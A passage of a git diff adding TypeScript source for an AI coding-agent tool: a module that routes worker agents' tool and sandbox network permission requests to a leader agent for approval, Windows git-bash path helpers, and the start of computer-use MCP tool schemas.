+    createdAt: z.number(),
+  }),
+)
+
+export type SwarmPermissionRequest = z.infer<
+  ReturnType<typeof SwarmPermissionRequestSchema>
+>
+
+/**
+ * Resolution data returned when leader/worker resolves a request
+ */
+export type PermissionResolution = {
+  /** Decision: approved or rejected */
+  decision: 'approved' | 'rejected'
+  /** Who resolved it */
+  resolvedBy: 'worker' | 'leader'
+  /** Optional feedback message if rejected */
+  feedback?: string
+  /** Optional updated input if the resolver modified it */
+  updatedInput?: Record<string, unknown>
+  /** Permission updates to apply (e.g., "always allow" rules) */
+  permissionUpdates?: PermissionUpdate[]
+}
+
+/**
+ * Get the base directory for a team's permission requests
+ * Path: ~/.claude/teams/{teamName}/permissions/
+ */
+export function getPermissionDir(teamName: string): string {
+  return join(getTeamDir(teamName), 'permissions')
+}
+
+/**
+ * Get the pending directory for a team
+ */
+function getPendingDir(teamName: string): string {
+  return join(getPermissionDir(teamName), 'pending')
+}
+
+/**
+ * Get the resolved directory for a team
+ */
+function getResolvedDir(teamName: string): string {
+  return join(getPermissionDir(teamName), 'resolved')
+}
+
+/**
+ * Ensure the permissions directory structure exists (async)
+ */
+async function ensurePermissionDirsAsync(teamName: string): Promise<void> {
+  const permDir = getPermissionDir(teamName)
+  const pendingDir = getPendingDir(teamName)
+  const resolvedDir = getResolvedDir(teamName)
+
+  for (const dir of [permDir, pendingDir, resolvedDir]) {
+    await mkdir(dir, { recursive: true })
+  }
+}
+
+/**
+ * Get the path to a pending request file
+ */
+function getPendingRequestPath(teamName: string, requestId: string): string {
+  return join(getPendingDir(teamName), `${requestId}.json`)
+}
+
+/**
+ * Get the path to a resolved request file
+ */
+function getResolvedRequestPath(teamName: string, requestId: string): string {
+  return join(getResolvedDir(teamName), `${requestId}.json`)
+}
+
+/**
+ * Generate a unique request ID
+ */
+export function generateRequestId(): string {
+  return `perm-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`
+}
+
+/**
+ * Create a new SwarmPermissionRequest object
+ */
+export function createPermissionRequest(params: {
+  toolName: string
+  toolUseId: string
+  input: Record<string, unknown>
+  description: string
+  permissionSuggestions?: unknown[]
+  teamName?: string
+  workerId?: string
+  workerName?: string
+  workerColor?: string
+}): SwarmPermissionRequest {
+  const teamName = params.teamName || getTeamName()
+  const workerId = params.workerId || getAgentId()
+  const workerName = params.workerName || getAgentName()
+  const workerColor = params.workerColor || getTeammateColor()
+
+  if (!teamName) {
+    throw new Error('Team name is required for permission requests')
+  }
+  if (!workerId) {
+    throw new Error('Worker ID is required for permission requests')
+  }
+  if (!workerName) {
+    throw new Error('Worker name is required for permission requests')
+  }
+
+  return {
+    id: generateRequestId(),
+    workerId,
+    workerName,
+    workerColor,
+    teamName,
+    toolName: params.toolName,
+    toolUseId: params.toolUseId,
+    description: params.description,
+    input: params.input,
+    permissionSuggestions: params.permissionSuggestions || [],
+    status: 'pending',
+    createdAt: Date.now(),
+  }
+}
+
+/**
+ * Write a permission request to the pending directory with file locking
+ * Called by worker agents when they need permission approval from the leader
+ *
+ * @returns The written request
+ */
+export async function writePermissionRequest(
+  request: SwarmPermissionRequest,
+): Promise<SwarmPermissionRequest> {
+  await ensurePermissionDirsAsync(request.teamName)
+
+  const pendingPath = getPendingRequestPath(request.teamName, request.id)
+  const lockDir = getPendingDir(request.teamName)
+
+  // Create a directory-level lock file for atomic writes
+  const lockFilePath = join(lockDir, '.lock')
+  await writeFile(lockFilePath, '', 'utf-8')
+
+  let release: (() => Promise<void>) | undefined
+  try {
+    release = await lockfile.lock(lockFilePath)
+
+    // Write the request file
+    await writeFile(pendingPath, jsonStringify(request, null, 2), 'utf-8')
+
+    logForDebugging(
+      `[PermissionSync] Wrote pending request ${request.id} from ${request.workerName} for ${request.toolName}`,
+    )
+
+    return request
+  } catch (error) {
+    logForDebugging(
+      `[PermissionSync] Failed to write permission request: ${error}`,
+    )
+    logError(error)
+    throw error
+  } finally {
+    if (release) {
+      await release()
+    }
+  }
+}
+
+/**
+ * Read all pending permission requests for a team
+ * Called by the team leader to see what requests need attention
+ */
+export async function readPendingPermissions(
+  teamName?: string,
+): Promise<SwarmPermissionRequest[]> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    logForDebugging('[PermissionSync] No team name available')
+    return []
+  }
+
+  const pendingDir = getPendingDir(team)
+
+  let files: string[]
+  try {
+    files = await readdir(pendingDir)
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code === 'ENOENT') {
+      return []
+    }
+    logForDebugging(`[PermissionSync] Failed to read pending requests: ${e}`)
+    logError(e)
+    return []
+  }
+
+  const jsonFiles = files.filter(f => f.endsWith('.json') && f !== '.lock')
+
+  const results = await Promise.all(
+    jsonFiles.map(async file => {
+      const filePath = join(pendingDir, file)
+      try {
+        const content = await readFile(filePath, 'utf-8')
+        const parsed = SwarmPermissionRequestSchema().safeParse(
+          jsonParse(content),
+        )
+        if (parsed.success) {
+          return parsed.data
+        }
+        logForDebugging(
+          `[PermissionSync] Invalid request file ${file}: ${parsed.error.message}`,
+        )
+        return null
+      } catch (err) {
+        logForDebugging(
+          `[PermissionSync] Failed to read request file ${file}: ${err}`,
+        )
+        return null
+      }
+    }),
+  )
+
+  const requests = results.filter(r => r !== null)
+
+  // Sort by creation time (oldest first)
+  requests.sort((a, b) => a.createdAt - b.createdAt)
+
+  return requests
+}
+
+/**
+ * Read a resolved permission request by ID
+ * Called by workers to check if their request has been resolved
+ *
+ * @returns The resolved request, or null if not yet resolved
+ */
+export async function readResolvedPermission(
+  requestId: string,
+  teamName?: string,
+): Promise<SwarmPermissionRequest | null> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    return null
+  }
+
+  const resolvedPath = getResolvedRequestPath(team, requestId)
+
+  try {
+    const content = await readFile(resolvedPath, 'utf-8')
+    const parsed = SwarmPermissionRequestSchema().safeParse(jsonParse(content))
+    if (parsed.success) {
+      return parsed.data
+    }
+    logForDebugging(
+      `[PermissionSync] Invalid resolved request ${requestId}: ${parsed.error.message}`,
+    )
+    return null
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code === 'ENOENT') {
+      return null
+    }
+    logForDebugging(
+      `[PermissionSync] Failed to read resolved request ${requestId}: ${e}`,
+    )
+    logError(e)
+    return null
+  }
+}
+
+/**
+ * Resolve a permission request
+ * Called by the team leader (or worker in self-resolution cases)
+ *
+ * Writes the resolution to resolved/, removes from pending/
+ */
+export async function resolvePermission(
+  requestId: string,
+  resolution: PermissionResolution,
+  teamName?: string,
+): Promise<boolean> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    logForDebugging('[PermissionSync] No team name available')
+    return false
+  }
+
+  await ensurePermissionDirsAsync(team)
+
+  const pendingPath = getPendingRequestPath(team, requestId)
+  const resolvedPath = getResolvedRequestPath(team, requestId)
+  const lockFilePath = join(getPendingDir(team), '.lock')
+
+  await writeFile(lockFilePath, '', 'utf-8')
+
+  let release: (() => Promise<void>) | undefined
+  try {
+    release = await lockfile.lock(lockFilePath)
+
+    // Read the pending request
+    let content: string
+    try {
+      content = await readFile(pendingPath, 'utf-8')
+    } catch (e: unknown) {
+      const code = getErrnoCode(e)
+      if (code === 'ENOENT') {
+        logForDebugging(
+          `[PermissionSync] Pending request not found: ${requestId}`,
+        )
+        return false
+      }
+      throw e
+    }
+
+    const parsed = SwarmPermissionRequestSchema().safeParse(jsonParse(content))
+    if (!parsed.success) {
+      logForDebugging(
+        `[PermissionSync] Invalid pending request ${requestId}: ${parsed.error.message}`,
+      )
+      return false
+    }
+
+    const request = parsed.data
+
+    // Update the request with resolution data
+    const resolvedRequest: SwarmPermissionRequest = {
+      ...request,
+      status: resolution.decision === 'approved' ? 'approved' : 'rejected',
+      resolvedBy: resolution.resolvedBy,
+      resolvedAt: Date.now(),
+      feedback: resolution.feedback,
+      updatedInput: resolution.updatedInput,
+      permissionUpdates: resolution.permissionUpdates,
+    }
+
+    // Write to resolved directory
+    await writeFile(
+      resolvedPath,
+      jsonStringify(resolvedRequest, null, 2),
+      'utf-8',
+    )
+
+    // Remove from pending directory
+    await unlink(pendingPath)
+
+    logForDebugging(
+      `[PermissionSync] Resolved request ${requestId} with ${resolution.decision}`,
+    )
+
+    return true
+  } catch (error) {
+    logForDebugging(`[PermissionSync] Failed to resolve request: ${error}`)
+    logError(error)
+    return false
+  } finally {
+    if (release) {
+      await release()
+    }
+  }
+}
+
+/**
+ * Clean up old resolved permission files
+ * Called periodically to prevent file accumulation
+ *
+ * @param teamName - Team name
+ * @param maxAgeMs - Maximum age in milliseconds (default: 1 hour)
+ */
+export async function cleanupOldResolutions(
+  teamName?: string,
+  maxAgeMs = 3600000,
+): Promise<number> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    return 0
+  }
+
+  const resolvedDir = getResolvedDir(team)
+
+  let files: string[]
+  try {
+    files = await readdir(resolvedDir)
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code === 'ENOENT') {
+      return 0
+    }
+    logForDebugging(`[PermissionSync] Failed to cleanup resolutions: ${e}`)
+    logError(e)
+    return 0
+  }
+
+  const now = Date.now()
+  const jsonFiles = files.filter(f => f.endsWith('.json'))
+
+  const cleanupResults = await Promise.all(
+    jsonFiles.map(async file => {
+      const filePath = join(resolvedDir, file)
+      try {
+        const content = await readFile(filePath, 'utf-8')
+        const request = jsonParse(content) as SwarmPermissionRequest
+
+        // Check if the resolution is old enough to clean up
+        // Use >= to handle edge case where maxAgeMs is 0 (clean up everything)
+        const resolvedAt = request.resolvedAt || request.createdAt
+        if (now - resolvedAt >= maxAgeMs) {
+          await unlink(filePath)
+          logForDebugging(`[PermissionSync] Cleaned up old resolution: ${file}`)
+          return 1
+        }
+        return 0
+      } catch {
+        // If we can't parse it, clean it up anyway
+        try {
+          await unlink(filePath)
+          return 1
+        } catch {
+          // Ignore deletion errors
+          return 0
+        }
+      }
+    }),
+  )
+
+  const cleanedCount = cleanupResults.reduce<number>((sum, n) => sum + n, 0)
+
+  if (cleanedCount > 0) {
+    logForDebugging(
+      `[PermissionSync] Cleaned up ${cleanedCount} old resolutions`,
+    )
+  }
+
+  return cleanedCount
+}
+
+/**
+ * Legacy response type for worker polling
+ * Used for backward compatibility with worker integration code
+ */
+export type PermissionResponse = {
+  /** ID of the request this responds to */
+  requestId: string
+  /** Decision: approved or denied */
+  decision: 'approved' | 'denied'
+  /** Timestamp when response was created */
+  timestamp: string
+  /** Optional feedback message if denied */
+  feedback?: string
+  /** Optional updated input if the resolver modified it */
+  updatedInput?: Record<string, unknown>
+  /** Permission updates to apply (e.g., "always allow" rules) */
+  permissionUpdates?: unknown[]
+}
+
+/**
+ * Poll for a permission response (worker-side convenience function)
+ * Converts the resolved request into a simpler response format
+ *
+ * @returns The permission response, or null if not yet resolved
+ */
+export async function pollForResponse(
+  requestId: string,
+  _agentName?: string,
+  teamName?: string,
+): Promise<PermissionResponse | null> {
+  const resolved = await readResolvedPermission(requestId, teamName)
+  if (!resolved) {
+    return null
+  }
+
+  return {
+    requestId: resolved.id,
+    decision: resolved.status === 'approved' ? 'approved' : 'denied',
+    timestamp: resolved.resolvedAt
+      ? new Date(resolved.resolvedAt).toISOString()
+      : new Date(resolved.createdAt).toISOString(),
+    feedback: resolved.feedback,
+    updatedInput: resolved.updatedInput,
+    permissionUpdates: resolved.permissionUpdates,
+  }
+}
+
+/**
+ * Remove a worker's response after processing
+ * This is an alias for deleteResolvedPermission for backward compatibility
+ */
+export async function removeWorkerResponse(
+  requestId: string,
+  _agentName?: string,
+  teamName?: string,
+): Promise<void> {
+  await deleteResolvedPermission(requestId, teamName)
+}
+
+/**
+ * Check if the current agent is a team leader
+ */
+export function isTeamLeader(teamName?: string): boolean {
+  const team = teamName || getTeamName()
+  if (!team) {
+    return false
+  }
+
+  // Team leaders don't have an agent ID set, or their ID is 'team-lead'
+  const agentId = getAgentId()
+
+  return !agentId || agentId === 'team-lead'
+}
+
+/**
+ * Check if the current agent is a worker in a swarm
+ */
+export function isSwarmWorker(): boolean {
+  const teamName = getTeamName()
+  const agentId = getAgentId()
+
+  return !!teamName && !!agentId && !isTeamLeader()
+}
+
+/**
+ * Delete a resolved permission file
+ * Called after a worker has processed the resolution
+ */
+export async function deleteResolvedPermission(
+  requestId: string,
+  teamName?: string,
+): Promise<boolean> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    return false
+  }
+
+  const resolvedPath = getResolvedRequestPath(team, requestId)
+
+  try {
+    await unlink(resolvedPath)
+    logForDebugging(
+      `[PermissionSync] Deleted resolved permission: ${requestId}`,
+    )
+    return true
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code === 'ENOENT') {
+      return false
+    }
+    logForDebugging(
+      `[PermissionSync] Failed to delete resolved permission: ${e}`,
+    )
+    logError(e)
+    return false
+  }
+}
+
+/**
+ * Submit a permission request (alias for writePermissionRequest)
+ * Provided for backward compatibility with worker integration code
+ */
+export const submitPermissionRequest = writePermissionRequest
+
+// ============================================================================
+// Mailbox-Based Permission System
+// ============================================================================
+
+/**
+ * Get the leader's name from the team file
+ * This is needed to send permission requests to the leader's mailbox
+ */
+export async function getLeaderName(teamName?: string): Promise<string | null> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    return null
+  }
+
+  const teamFile = await readTeamFileAsync(team)
+  if (!teamFile) {
+    logForDebugging(`[PermissionSync] Team file not found for team: ${team}`)
+    return null
+  }
+
+  const leadMember = teamFile.members.find(
+    m => m.agentId === teamFile.leadAgentId,
+  )
+  return leadMember?.name || 'team-lead'
+}
+
+/**
+ * Send a permission request to the leader via mailbox.
+ * This is the new mailbox-based approach that replaces the file-based pending directory.
+ *
+ * @param request - The permission request to send
+ * @returns true if the message was sent successfully
+ */
+export async function sendPermissionRequestViaMailbox(
+  request: SwarmPermissionRequest,
+): Promise<boolean> {
+  const leaderName = await getLeaderName(request.teamName)
+  if (!leaderName) {
+    logForDebugging(
+      `[PermissionSync] Cannot send permission request: leader name not found`,
+    )
+    return false
+  }
+
+  try {
+    // Create the permission request message
+    const message = createPermissionRequestMessage({
+      request_id: request.id,
+      agent_id: request.workerName,
+      tool_name: request.toolName,
+      tool_use_id: request.toolUseId,
+      description: request.description,
+      input: request.input,
+      permission_suggestions: request.permissionSuggestions,
+    })
+
+    // Send to leader's mailbox (routes to in-process or file-based based on recipient)
+    await writeToMailbox(
+      leaderName,
+      {
+        from: request.workerName,
+        text: jsonStringify(message),
+        timestamp: new Date().toISOString(),
+        color: request.workerColor,
+      },
+      request.teamName,
+    )
+
+    logForDebugging(
+      `[PermissionSync] Sent permission request ${request.id} to leader ${leaderName} via mailbox`,
+    )
+    return true
+  } catch (error) {
+    logForDebugging(
+      `[PermissionSync] Failed to send permission request via mailbox: ${error}`,
+    )
+    logError(error)
+    return false
+  }
+}
+
+/**
+ * Send a permission response to a worker via mailbox.
+ * This is the new mailbox-based approach that replaces the file-based resolved directory.
+ *
+ * @param workerName - The worker's name to send the response to
+ * @param resolution - The permission resolution
+ * @param requestId - The original request ID
+ * @param teamName - The team name
+ * @returns true if the message was sent successfully
+ */
+export async function sendPermissionResponseViaMailbox(
+  workerName: string,
+  resolution: PermissionResolution,
+  requestId: string,
+  teamName?: string,
+): Promise<boolean> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    logForDebugging(
+      `[PermissionSync] Cannot send permission response: team name not found`,
+    )
+    return false
+  }
+
+  try {
+    // Create the permission response message
+    const message = createPermissionResponseMessage({
+      request_id: requestId,
+      subtype: resolution.decision === 'approved' ? 'success' : 'error',
+      error: resolution.feedback,
+      updated_input: resolution.updatedInput,
+      permission_updates: resolution.permissionUpdates,
+    })
+
+    // Get the sender name (leader's name)
+    const senderName = getAgentName() || 'team-lead'
+
+    // Send to worker's mailbox (routes to in-process or file-based based on recipient)
+    await writeToMailbox(
+      workerName,
+      {
+        from: senderName,
+        text: jsonStringify(message),
+        timestamp: new Date().toISOString(),
+      },
+      team,
+    )
+
+    logForDebugging(
+      `[PermissionSync] Sent permission response for ${requestId} to worker ${workerName} via mailbox`,
+    )
+    return true
+  } catch (error) {
+    logForDebugging(
+      `[PermissionSync] Failed to send permission response via mailbox: ${error}`,
+    )
+    logError(error)
+    return false
+  }
+}
+
+// ============================================================================
+// Sandbox Permission Mailbox System
+// ============================================================================
+
+/**
+ * Generate a unique sandbox permission request ID
+ */
+export function generateSandboxRequestId(): string {
+  return `sandbox-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`
+}
+
+/**
+ * Send a sandbox permission request to the leader via mailbox.
+ * Called by workers when sandbox runtime needs network access approval.
+ *
+ * @param host - The host requesting network access
+ * @param requestId - Unique ID for this request
+ * @param teamName - Optional team name
+ * @returns true if the message was sent successfully
+ */
+export async function sendSandboxPermissionRequestViaMailbox(
+  host: string,
+  requestId: string,
+  teamName?: string,
+): Promise<boolean> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    logForDebugging(
+      `[PermissionSync] Cannot send sandbox permission request: team name not found`,
+    )
+    return false
+  }
+
+  const leaderName = await getLeaderName(team)
+  if (!leaderName) {
+    logForDebugging(
+      `[PermissionSync] Cannot send sandbox permission request: leader name not found`,
+    )
+    return false
+  }
+
+  const workerId = getAgentId()
+  const workerName = getAgentName()
+  const workerColor = getTeammateColor()
+
+  if (!workerId || !workerName) {
+    logForDebugging(
+      `[PermissionSync] Cannot send sandbox permission request: worker ID or name not found`,
+    )
+    return false
+  }
+
+  try {
+    const message = createSandboxPermissionRequestMessage({
+      requestId,
+      workerId,
+      workerName,
+      workerColor,
+      host,
+    })
+
+    // Send to leader's mailbox (routes to in-process or file-based based on recipient)
+    await writeToMailbox(
+      leaderName,
+      {
+        from: workerName,
+        text: jsonStringify(message),
+        timestamp: new Date().toISOString(),
+        color: workerColor,
+      },
+      team,
+    )
+
+    logForDebugging(
+      `[PermissionSync] Sent sandbox permission request ${requestId} for host ${host} to leader ${leaderName} via mailbox`,
+    )
+    return true
+  } catch (error) {
+    logForDebugging(
+      `[PermissionSync] Failed to send sandbox permission request via mailbox: ${error}`,
+    )
+    logError(error)
+    return false
+  }
+}
+
+/**
+ * Send a sandbox permission response to a worker via mailbox.
+ * Called by the leader when approving/denying a sandbox network access request.
+ *
+ * @param workerName - The worker's name to send the response to
+ * @param requestId - The original request ID
+ * @param host - The host that was approved/denied
+ * @param allow - Whether the connection is allowed
+ * @param teamName - Optional team name
+ * @returns true if the message was sent successfully
+ */
+export async function sendSandboxPermissionResponseViaMailbox(
+  workerName: string,
+  requestId: string,
+  host: string,
+  allow: boolean,
+  teamName?: string,
+): Promise<boolean> {
+  const team = teamName || getTeamName()
+  if (!team) {
+    logForDebugging(
+      `[PermissionSync] Cannot send sandbox permission response: team name not found`,
+    )
+    return false
+  }
+
+  try {
+    const message = createSandboxPermissionResponseMessage({
+      requestId,
+      host,
+      allow,
+    })
+
+    const senderName = getAgentName() || 'team-lead'
+
+    // Send to worker's mailbox (routes to in-process or file-based based on recipient)
+    await writeToMailbox(
+      workerName,
+      {
+        from: senderName,
+        text: jsonStringify(message),
+        timestamp: new Date().toISOString(),
+      },
+      team,
+    )
+
+    logForDebugging(
+      `[PermissionSync] Sent sandbox permission response for ${requestId} (host: ${host}, allow: ${allow}) to worker ${workerName} via mailbox`,
+    )
+    return true
+  } catch (error) {
+    logForDebugging(
+      `[PermissionSync] Failed to send sandbox permission response via mailbox: ${error}`,
+    )
+    logError(error)
+    return false
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/windowsPaths.ts b/_all-in-one-upload/cc-haha/src/utils/windowsPaths.ts
new file mode 100644
index 0000000..776c2e3
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/windowsPaths.ts
@@ -0,0 +1,199 @@
+import memoize from 'lodash-es/memoize.js'
+import * as path from 'path'
+import * as pathWin32 from 'path/win32'
+import { getCwd } from './cwd.js'
+import { logForDebugging } from './debug.js'
+import { execSync_DEPRECATED } from './execSyncWrapper.js'
+import { memoizeWithLRU } from './memoize.js'
+import { getPlatform } from './platform.js'
+
+/**
+ * Check if a file or directory exists on Windows using the dir command
+ * @param path - The path to check
+ * @returns true if the path exists, false otherwise
+ */
+function checkPathExists(path: string): boolean {
+  try {
+    execSync_DEPRECATED(`dir "${path}"`, { stdio: 'pipe' })
+    return true
+  } catch {
+    return false
+  }
+}
+
+/**
+ * Find an executable using where.exe on Windows
+ * @param executable - The name of the executable to find
+ * @returns The path to the executable or null if not found
+ */
+function findExecutable(executable: string): string | null {
+  // For git, check common installation locations first
+  if (executable === 'git') {
+    const defaultLocations = [
+      // check 64 bit before 32 bit
+      'C:\\Program Files\\Git\\cmd\\git.exe',
+      'C:\\Program Files (x86)\\Git\\cmd\\git.exe',
+      // intentionally don't look for C:\Program Files\Git\mingw64\bin\git.exe
+      // because that directory is the "raw" tools with no environment setup
+    ]
+
+    for (const location of defaultLocations) {
+      if (checkPathExists(location)) {
+        return location
+      }
+    }
+  }
+
+  // Fall back to where.exe
+  try {
+    const result = execSync_DEPRECATED(`where.exe ${executable}`, {
+      stdio: 'pipe',
+      encoding: 'utf8',
+    }).trim()
+
+    // SECURITY: Filter out any results from the current directory
+    // to prevent executing malicious git.bat/cmd/exe files
+    const paths = result.split('\r\n').filter(Boolean)
+    const cwd = getCwd().toLowerCase()
+
+    for (const candidatePath of paths) {
+      // Normalize and compare paths to ensure we're not in current directory
+      const normalizedPath = path.resolve(candidatePath).toLowerCase()
+      const pathDir = path.dirname(normalizedPath).toLowerCase()
+
+      // Skip if the executable is in the current working directory
+      if (pathDir === cwd || normalizedPath.startsWith(cwd + path.sep)) {
+        logForDebugging(
+          `Skipping potentially malicious executable in current directory: ${candidatePath}`,
+        )
+        continue
+      }
+
+      // Return the first valid path that's not in the current directory
+      return candidatePath
+    }
+
+    return null
+  } catch {
+    return null
+  }
+}
+
+/**
+ * If Windows, set the SHELL environment variable to git-bash path.
+ * This is used by BashTool and Shell.ts for user shell commands.
+ * COMSPEC is left unchanged for system process execution.
+ */
+export function setShellIfWindows(): void {
+  if (getPlatform() === 'windows') {
+    const gitBashPath = tryFindGitBashPath()
+    if (!gitBashPath) {
+      logForDebugging(
+        'Git Bash not found on Windows; leaving SHELL unset for lazy fallback handling',
+        { level: 'warn' },
+      )
+      return
+    }
+    process.env.SHELL = gitBashPath
+    logForDebugging(`Using bash path: "${gitBashPath}"`)
+  }
+}
+
+/**
+ * Best-effort Git Bash resolution on Windows.
+ *
+ * Returns null when Git Bash is unavailable so callers can decide whether to
+ * fall back (for example, to PowerShell) instead of hard-exiting the process.
+ */
+export const tryFindGitBashPath = memoize((): string | null => {
+  if (process.env.CLAUDE_CODE_GIT_BASH_PATH) {
+    if (checkPathExists(process.env.CLAUDE_CODE_GIT_BASH_PATH)) {
+      return process.env.CLAUDE_CODE_GIT_BASH_PATH
+    }
+    return null
+  }
+
+  const gitPath = findExecutable('git')
+  if (gitPath) {
+    const bashPath = pathWin32.join(gitPath, '..', '..', 'bin', 'bash.exe')
+    if (checkPathExists(bashPath)) {
+      return bashPath
+    }
+  }
+
+  return null
+})
+
+/**
+ * Find the path where `bash.exe` included with git-bash exists, exiting the process if not found.
+ */
+export const findGitBashPath = memoize((): string => {
+  const gitBashPath = tryFindGitBashPath()
+  if (gitBashPath) {
+    return gitBashPath
+  }
+
+  if (process.env.CLAUDE_CODE_GIT_BASH_PATH) {
+    // biome-ignore lint/suspicious/noConsole:: intentional console output
+    console.error(
+      `Claude Code was unable to find CLAUDE_CODE_GIT_BASH_PATH path "${process.env.CLAUDE_CODE_GIT_BASH_PATH}"`,
+    )
+    // eslint-disable-next-line custom-rules/no-process-exit
+    process.exit(1)
+  }
+
+  // biome-ignore lint/suspicious/noConsole:: intentional console output
+  console.error(
+    'Claude Code on Windows requires git-bash (https://git-scm.com/downloads/win). If installed but not in PATH, set environment variable pointing to your bash.exe, similar to: CLAUDE_CODE_GIT_BASH_PATH=C:\\Program Files\\Git\\bin\\bash.exe',
+  )
+  // eslint-disable-next-line custom-rules/no-process-exit
+  process.exit(1)
+})
+
+/** Convert a Windows path to a POSIX path using pure JS. */
+export const windowsPathToPosixPath = memoizeWithLRU(
+  (windowsPath: string): string => {
+    // Handle UNC paths: \\server\share -> //server/share
+    if (windowsPath.startsWith('\\\\')) {
+      return windowsPath.replace(/\\/g, '/')
+    }
+    // Handle drive letter paths: C:\Users\foo -> /c/Users/foo
+    const match = windowsPath.match(/^([A-Za-z]):[/\\]/)
+    if (match) {
+      const driveLetter = match[1]!.toLowerCase()
+      return '/' + driveLetter + windowsPath.slice(2).replace(/\\/g, '/')
+    }
+    // Already POSIX or relative — just flip slashes
+    return windowsPath.replace(/\\/g, '/')
+  },
+  (p: string) => p,
+  500,
+)
+
+/** Convert a POSIX path to a Windows path using pure JS. */
+export const posixPathToWindowsPath = memoizeWithLRU(
+  (posixPath: string): string => {
+    // Handle UNC paths: //server/share -> \\server\share
+    if (posixPath.startsWith('//')) {
+      return posixPath.replace(/\//g, '\\')
+    }
+    // Handle /cygdrive/c/... format
+    const cygdriveMatch = posixPath.match(/^\/cygdrive\/([A-Za-z])(\/|$)/)
+    if (cygdriveMatch) {
+      const driveLetter = cygdriveMatch[1]!.toUpperCase()
+      const rest = posixPath.slice(('/cygdrive/' + cygdriveMatch[1]).length)
+      return driveLetter + ':' + (rest || '\\').replace(/\//g, '\\')
+    }
+    // Handle /c/... format (MSYS2/Git Bash)
+    const driveMatch = posixPath.match(/^\/([A-Za-z])(\/|$)/)
+    if (driveMatch) {
+      const driveLetter = driveMatch[1]!.toUpperCase()
+      const rest = posixPath.slice(2)
+      return driveLetter + ':' + (rest || '\\').replace(/\//g, '\\')
+    }
+    // Already Windows or relative — just flip slashes
+    return posixPath.replace(/\//g, '\\')
+  },
+  (p: string) => p,
+  500,
+)
diff --git a/_all-in-one-upload/cc-haha/src/vendor/computer-use-mcp/tools.ts b/_all-in-one-upload/cc-haha/src/vendor/computer-use-mcp/tools.ts
new file mode 100644
index 0000000..c744a23
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/vendor/computer-use-mcp/tools.ts
@@ -0,0 +1,706 @@
+/**
+ * MCP tool schemas for the computer-use server. Mirrors
+ * claude-for-chrome-mcp/src/browserTools.ts in shape (plain `Tool`-shaped
+ * object literals, no zod).
+ *
+ * Coordinate descriptions are baked in at tool-list build time from the
+ * `chicago_coordinate_mode` gate. The model sees exactly ONE coordinate
+ * convention in the param descriptions and never learns the other exists.
+ * The host (`serverDef.ts`) reads the same frozen gate value for
+ * `scaleCoord` — both must agree or clicks land in the wrong space.
+ */
+
+import type { Tool } from "@modelcontextprotocol/sdk/types.js";
+
+import type { CoordinateMode } from "./types.js";
+
+// See packages/desktop/computer-use-mcp/COORDINATES.md before touching any
+// model-facing coordinate text. Chrome's browserTools.ts:143 is the reference
+// phrasing — "pixels from the left edge", no geometry, no number to do math with.
+const COORD_DESC: Record<CoordinateMode, { x: string; y: string }> = {
+  pixels: {
+    x: "Horizontal pixel position read directly from the most recent screenshot image, measured from the left edge. The server handles all scaling.",
+    y: "Vertical pixel position read directly from the most recent screenshot image, measured from the top edge. The server handles all scaling.",
+  },
+  normalized_0_100: {
+    x: "Horizontal position as a percentage of screen width, 0.0–100.0 (0 = left edge, 100 = right edge).",
+    y: "Vertical position as a percentage of screen height, 0.0–100.0 (0 = top edge, 100 = bottom edge).",
+  },
+};
+
+const FRONTMOST_GATE_DESC =
+  "The frontmost application must be in the session allowlist at the time of this call, or this tool returns an error and does nothing.";
+
+/**
+ * Item schema for the `actions` array in `computer_batch`, `teach_step`, and
+ * `teach_batch`. All three dispatch through the same `dispatchAction` path
+ * with the same validation — keep this enum in sync with `BATCHABLE_ACTIONS`
+ * in toolCalls.ts.
+ */
+const BATCH_ACTION_ITEM_SCHEMA = {
+  type: "object",
+  properties: {
+    action: {
+      type: "string",
+      enum: [
+        "key",
+        "type",
+        "mouse_move",
+        "left_click",
+        "left_click_drag",
+        "right_click",
+        "middle_click",
+        "double_click",
+        "triple_click",
+        "scroll",
+        "hold_key",
+        "screenshot",
+        "cursor_position",
+        "left_mouse_down",
+        "left_mouse_up",
+        "wait",
+      ],
+      description: "The action to perform.",
+    },
+    coordinate: {
+      type: "array",
+      items: { type: "number" },
+      minItems: 2,
+      maxItems: 2,
+      description:
+        "(x, y) for click/mouse_move/scroll/left_click_drag end point.",
+    },
+    start_coordinate: {
+      type: "array",
+      items: { type: "number" },
+      minItems: 2,
+      maxItems: 2,
+      description:
+        "(x, y) drag start — left_click_drag only. Omit to drag from current cursor.",
+    },
+    text: {
+      type: "string",
+      description:
+        "For type: the text. For key/hold_key: the chord string. For click/scroll: modifier keys to hold.",
+    },
+    scroll_direction: {
+      type: "string",
+      enum: ["up", "down", "left", "right"],
+    },
+    scroll_amount: { type: "integer", minimum: 0, maximum: 100 },
+    duration: {
+      type: "number",
+      description: "Seconds (0–100). For hold_key/wait.",
+    },
+    repeat: {
+      type: "integer",
+      minimum: 1,
+      maximum: 100,
+      description: "For key: repeat count.",
+    },
+  },
+  required: ["action"],
+};
+
+/**
+ * Build the tool list. Parameterized by capabilities and coordinate mode so
+ * descriptions are honest and unambiguous (plan §1 — "Unfiltered + honest").
+ *
+ * `coordinateMode` MUST match what the host passes to `scaleCoord` at tool-
+ * -call time. Both should read the same frozen-at-load gate constant.
+ *
+ * `installedAppNames` — optional pre-sanitized list of app display names to
+ * enumerate in the `request_access` description. The caller is responsible
+ * for sanitization (length cap, character allowlist, sort, count cap) —
+ * this function just splices the list into the description verbatim. Omit
+ * to fall back to the generic "display names or bundle IDs" wording.
+ */
+export function buildComputerUseTools(
+  caps: {
+    screenshotFiltering: "native" | "none";
+    platform: "darwin" | "win32";
